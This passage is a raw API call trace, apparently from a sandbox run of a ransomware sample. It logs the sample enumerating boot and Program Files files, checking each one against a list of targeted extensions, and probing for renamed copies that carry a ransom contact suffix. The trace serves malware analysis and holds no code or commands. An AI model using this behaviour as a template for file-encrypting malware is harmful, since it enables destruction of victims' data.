hTemplateFile=0x0) returned 0x208 [0195.478] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x32eff1c | out: lpFileSize=0x32eff1c*=485760) returned 1 [0195.478] CloseHandle (hObject=0x208) returned 1 [0195.478] GetFileAttributesW (lpFileName="C:\\Boot\\memtest.exe" (normalized: "c:\\boot\\memtest.exe")) returned 0x20 [0195.478] GetFileAttributesW (lpFileName="C:\\Boot\\memtest.exe.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\boot\\memtest.exe.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0195.478] CreateFileW (lpFileName="C:\\Boot\\memtest.exe" (normalized: "c:\\boot\\memtest.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0195.478] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0195.479] lstrcmpiW (lpString1=".docx", lpString2="t.exe") returned -1 [0195.479] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0195.479] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0195.479] lstrcmpiW (lpString1=".xlsx", lpString2="t.exe") returned -1 [0195.479] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0195.479] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0195.479] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0195.479] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0195.480] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0195.480] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0195.480] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0195.480] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0195.480] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0195.480] lstrcmpiW (lpString1=".docx", lpString2="t.exe") returned -1 [0195.480] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0195.481] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0195.481] lstrcmpiW (lpString1=".xlsx", lpString2="t.exe") returned -1 [0195.481] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0195.481] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0195.481] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0195.481] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0195.481] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0195.481] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0195.482] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0195.482] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0195.482] lstrcmpiW (lpString1=".mui", lpString2=".NEWS") returned -1 [0195.482] CreateFileW (lpFileName="C:\\Boot\\nb-NO\\bootmgr.exe.mui" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0195.483] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x32eff1c | out: lpFileSize=0x32eff1c*=88144) returned 1 [0195.483] CloseHandle (hObject=0x208) returned 1 [0195.483] GetFileAttributesW (lpFileName="C:\\Boot\\nb-NO\\bootmgr.exe.mui" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui")) returned 0x20 [0195.483] GetFileAttributesW (lpFileName="C:\\Boot\\nb-NO\\bootmgr.exe.mui.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0195.483] CreateFileW (lpFileName="C:\\Boot\\nb-NO\\bootmgr.exe.mui" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0195.484] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0195.484] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0195.484] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0195.484] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0195.484] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0195.484] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0195.484] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0195.484] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0195.485] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0195.485] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0195.485] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0195.485] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0195.485] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0195.485] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0195.486] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0195.486] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0195.486] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0195.486] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0195.486] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0195.487] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0195.487] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0195.487] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0195.487] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0195.487] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0195.488] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0195.488] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0195.488] lstrcmpiW (lpString1=".mui", lpString2=".NEWS") returned -1 [0195.488] CreateFileW (lpFileName="C:\\Boot\\nl-NL\\bootmgr.exe.mui" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0195.489] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x32eff1c | out: lpFileSize=0x32eff1c*=90704) returned 1 [0195.489] CloseHandle (hObject=0x208) returned 1 [0195.489] GetFileAttributesW (lpFileName="C:\\Boot\\nl-NL\\bootmgr.exe.mui" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui")) returned 0x20 [0195.489] GetFileAttributesW (lpFileName="C:\\Boot\\nl-NL\\bootmgr.exe.mui.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0195.490] CreateFileW (lpFileName="C:\\Boot\\nl-NL\\bootmgr.exe.mui" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0195.490] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0195.490] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0195.490] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0195.490] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0195.490] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0195.497] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x32eff1c | out: lpFileSize=0x32eff1c*=90704) returned 1 [0195.498] CloseHandle (hObject=0x208) returned 1 [0195.498] GetFileAttributesW (lpFileName="C:\\Boot\\pl-PL\\bootmgr.exe.mui" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui")) returned 0x20 [0195.498] GetFileAttributesW (lpFileName="C:\\Boot\\pl-PL\\bootmgr.exe.mui.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0195.498] CreateFileW (lpFileName="C:\\Boot\\pl-PL\\bootmgr.exe.mui" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0195.499] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x32eff1c | out: lpFileSize=0x32eff1c*=90176) returned 1 [0195.499] CloseHandle (hObject=0x208) returned 1 [0195.500] GetFileAttributesW (lpFileName="C:\\Boot\\pt-BR\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui")) returned 0x20 [0195.500] GetFileAttributesW (lpFileName="C:\\Boot\\pt-BR\\bootmgr.exe.mui.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0195.500] CreateFileW (lpFileName="C:\\Boot\\pt-BR\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0195.501] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x32eff1c | out: lpFileSize=0x32eff1c*=89664) returned 1 [0195.501] CloseHandle (hObject=0x208) returned 1 [0195.501] GetFileAttributesW (lpFileName="C:\\Boot\\pt-PT\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui")) returned 0x20 [0195.502] GetFileAttributesW (lpFileName="C:\\Boot\\pt-PT\\bootmgr.exe.mui.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0195.502] CreateFileW (lpFileName="C:\\Boot\\pt-PT\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0195.503] lstrlenW (lpString="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29 [0195.503] lstrlenW (lpString="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29 [0195.503] lstrlenW (lpString=".doc") returned 4 [0195.503] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0195.503] lstrlenW (lpString=".docx") returned 5 [0195.504] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0195.504] lstrlenW (lpString=".pdf") returned 4 [0195.504] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0195.504] lstrlenW (lpString=".xls") returned 4 [0195.504] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0195.504] lstrlenW (lpString=".xlsx") returned 5 [0195.504] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0195.504] lstrlenW (lpString=".ppt") returned 4 [0195.505] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0195.505] lstrlenW (lpString="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29 [0195.505] lstrlenW (lpString=".zip") returned 4 [0195.505] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0195.505] lstrlenW (lpString=".rar") returned 4 [0195.505] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0195.505] lstrlenW (lpString=".bz2") returned 4 [0195.505] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0195.505] lstrlenW (lpString=".7z") returned 3 [0195.505] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0195.505] lstrlenW (lpString="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29 [0195.505] lstrlenW (lpString=".dbf") returned 4 [0195.506] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0195.506] lstrlenW (lpString="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29 [0195.506] lstrlenW (lpString=".1cd") returned 4 [0195.506] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0195.506] lstrlenW (lpString="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29 [0195.506] lstrlenW (lpString=".jpg") returned 4 [0195.506] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0195.506] lstrlenW (lpString="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29 [0195.506] lstrlenW (lpString="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29 [0195.506] lstrlenW (lpString=".doc") returned 4 [0195.506] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0195.507] lstrlenW (lpString=".docx") returned 5 [0195.507] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0195.507] lstrlenW (lpString=".pdf") returned 4 [0195.507] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0195.507] lstrlenW (lpString=".xls") returned 4 [0195.507] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0195.507] lstrlenW (lpString=".xlsx") returned 5 [0195.507] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0195.507] lstrlenW (lpString=".ppt") returned 4 [0195.507] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0195.507] lstrlenW (lpString="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29 [0195.507] lstrlenW (lpString=".zip") returned 4 [0195.507] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0195.507] lstrlenW (lpString=".rar") returned 4 [0195.507] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0195.508] lstrlenW (lpString=".bz2") returned 4 [0195.508] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0195.508] lstrlenW (lpString=".7z") returned 3 [0195.508] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0195.508] lstrlenW (lpString="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29 [0195.508] lstrlenW (lpString=".dbf") returned 4 [0195.508] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0195.508] lstrlenW (lpString="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29 [0195.508] lstrlenW (lpString=".1cd") returned 4 [0195.508] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0195.508] lstrlenW (lpString="C:\\Boot\\pt-PT\\bootmgr.exe.mui") returned 29 [0195.508] lstrlenW (lpString=".jpg") returned 4 [0195.508] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0195.509] lstrcmpiW (lpString1=".mui", lpString2=".NEWS") returned -1 [0195.509] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0195.509] CreateFileW (lpFileName="C:\\Boot\\ru-RU\\bootmgr.exe.mui" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0195.510] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x32eff1c | out: lpFileSize=0x32eff1c*=90192) returned 1 [0195.510] CloseHandle (hObject=0x208) returned 1 [0195.511] GetFileAttributesW (lpFileName="C:\\Boot\\ru-RU\\bootmgr.exe.mui" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui")) returned 0x20 [0195.511] GetFileAttributesW (lpFileName="C:\\Boot\\ru-RU\\bootmgr.exe.mui.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0195.511] CreateFileW (lpFileName="C:\\Boot\\ru-RU\\bootmgr.exe.mui" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0195.512] lstrlenW (lpString="C:\\Boot\\ru-RU\\bootmgr.exe.mui") returned 29 [0195.512] lstrlenW (lpString="C:\\Boot\\ru-RU\\bootmgr.exe.mui") returned 29 [0195.512] lstrlenW (lpString=".doc") returned 4 [0195.512] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0195.512] lstrlenW (lpString=".docx") returned 5 [0195.512] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0195.512] lstrlenW (lpString=".pdf") returned 4 [0195.513] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0195.513] lstrlenW (lpString=".xls") returned 4 [0195.513] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0195.513] lstrlenW (lpString=".xlsx") returned 5 [0195.513] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0195.513] lstrlenW (lpString=".ppt") returned 4 [0195.513] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0195.513] lstrlenW (lpString="C:\\Boot\\ru-RU\\bootmgr.exe.mui") returned 29 [0195.513] lstrlenW (lpString=".zip") returned 4 [0195.514] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0195.514] lstrlenW (lpString=".rar") returned 4 [0195.514] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0195.514] lstrlenW (lpString=".bz2") returned 4 [0195.514] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0195.514] lstrlenW (lpString=".7z") returned 3 [0195.514] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0195.514] lstrlenW (lpString="C:\\Boot\\ru-RU\\bootmgr.exe.mui") returned 29 [0195.515] lstrlenW (lpString=".dbf") returned 4 [0195.515] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0195.515] lstrlenW (lpString="C:\\Boot\\ru-RU\\bootmgr.exe.mui") returned 29 [0195.515] lstrlenW (lpString=".1cd") returned 4 [0195.515] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0195.515] lstrlenW (lpString="C:\\Boot\\ru-RU\\bootmgr.exe.mui") returned 29 [0195.515] lstrlenW (lpString=".jpg") returned 4 [0195.515] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0195.516] lstrlenW (lpString="C:\\Boot\\ru-RU\\bootmgr.exe.mui") returned 29 [0195.516] lstrlenW (lpString="C:\\Boot\\ru-RU\\bootmgr.exe.mui") returned 29 [0195.516] lstrlenW (lpString=".doc") returned 4 [0195.516] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0195.516] lstrlenW (lpString=".docx") returned 5 [0195.516] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0195.516] lstrlenW (lpString=".pdf") returned 4 [0195.516] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0195.516] lstrlenW (lpString=".xls") returned 4 [0195.516] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0195.516] lstrlenW (lpString=".xlsx") returned 5 [0195.517] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0195.517] lstrlenW (lpString=".ppt") returned 4 [0195.517] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0195.517] lstrlenW (lpString="C:\\Boot\\ru-RU\\bootmgr.exe.mui") returned 29 [0195.517] lstrlenW (lpString=".zip") returned 4 [0195.517] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0195.517] lstrlenW (lpString=".rar") returned 4 [0195.517] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0195.517] lstrlenW (lpString=".bz2") returned 4 [0195.517] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0196.440] lstrlenW (lpString=".7z") returned 3 [0196.441] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0196.441] lstrlenW (lpString="C:\\Boot\\ru-RU\\bootmgr.exe.mui") returned 29 [0196.441] lstrlenW (lpString=".dbf") returned 4 [0196.441] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0196.441] lstrlenW (lpString="C:\\Boot\\ru-RU\\bootmgr.exe.mui") returned 29 [0196.441] lstrlenW (lpString=".1cd") returned 4 [0196.441] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0196.441] lstrlenW (lpString="C:\\Boot\\ru-RU\\bootmgr.exe.mui") returned 29 [0196.441] lstrlenW (lpString=".jpg") returned 4 [0196.441] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0196.442] lstrcmpiW (lpString1=".EXE", lpString2=".NEWS") returned -1 [0196.442] lstrlenW (lpString="EQNEDT32.EXE") returned 12 [0196.442] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0197.286] GetFileSizeEx (in: hFile=0x228, lpFileSize=0x32eff1c | out: lpFileSize=0x32eff1c*=543304) returned 1 [0197.286] CloseHandle (hObject=0x228) returned 1 [0197.286] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe")) returned 0x20 [0197.287] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0197.287] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0197.287] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 68 [0197.287] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 68 [0197.287] lstrlenW (lpString=".doc") returned 4 [0197.287] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0197.287] lstrlenW (lpString=".docx") returned 5 [0197.287] lstrcmpiW (lpString1=".docx", lpString2="2.EXE") returned -1 [0197.288] lstrlenW (lpString=".pdf") returned 4 [0197.288] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0197.288] lstrlenW (lpString=".xls") returned 4 [0197.288] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0197.288] lstrlenW (lpString=".xlsx") returned 5 [0197.288] lstrcmpiW (lpString1=".xlsx", lpString2="2.EXE") returned -1 [0197.288] lstrlenW (lpString=".ppt") returned 4 [0197.288] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0197.288] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 68 [0197.288] lstrlenW (lpString=".zip") returned 4 [0197.288] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0197.288] lstrlenW (lpString=".rar") returned 4 [0197.289] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0197.289] lstrlenW (lpString=".bz2") returned 4 [0197.289] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0197.289] lstrlenW (lpString=".7z") returned 3 [0197.289] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0197.289] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 68 [0197.289] lstrlenW (lpString=".dbf") returned 4 [0197.289] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0197.289] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 68 [0197.289] lstrlenW (lpString=".1cd") returned 4 [0197.289] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0197.289] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 68 [0197.289] lstrlenW (lpString=".jpg") returned 4 [0197.290] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0197.290] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 68 [0197.290] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 68 [0197.290] lstrlenW (lpString=".doc") returned 4 [0197.290] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0197.290] lstrlenW (lpString=".docx") returned 5 [0197.290] lstrcmpiW (lpString1=".docx", lpString2="2.EXE") returned -1 [0197.290] lstrlenW (lpString=".pdf") returned 4 [0197.290] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0197.290] lstrlenW (lpString=".xls") returned 4 [0197.290] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0197.291] lstrlenW (lpString=".xlsx") returned 5 [0197.291] lstrcmpiW (lpString1=".xlsx", lpString2="2.EXE") returned -1 [0197.291] lstrlenW (lpString=".ppt") returned 4 [0197.291] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0197.291] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 68 [0197.291] lstrlenW (lpString=".zip") returned 4 [0197.291] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0197.291] lstrlenW (lpString=".rar") returned 4 [0197.291] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0197.291] lstrlenW (lpString=".bz2") returned 4 [0197.291] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0197.292] lstrlenW (lpString=".7z") returned 3 [0197.292] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0197.292] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 68 [0197.292] lstrlenW (lpString=".dbf") returned 4 [0197.292] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0197.292] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 68 [0197.292] lstrlenW (lpString=".1cd") returned 4 [0197.292] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0197.292] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 68 [0197.292] lstrlenW (lpString=".jpg") returned 4 [0197.292] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0197.293] Sleep (dwMilliseconds=0x64) [0198.099] Sleep (dwMilliseconds=0x64) [0198.764] lstrcmpiW (lpString1=".mui", lpString2=".NEWS") returned -1 [0198.764] lstrlenW (lpString="IpsMigrationPlugin.dll.mui") returned 26 [0198.764] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipsmigrationplugin.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x280 [0199.475] GetFileSizeEx (in: hFile=0x280, lpFileSize=0x32eff1c | out: lpFileSize=0x32eff1c*=2560) returned 1 [0199.475] CloseHandle (hObject=0x280) returned 1 [0199.475] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipsmigrationplugin.dll.mui")) returned 0x20 [0199.475] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft 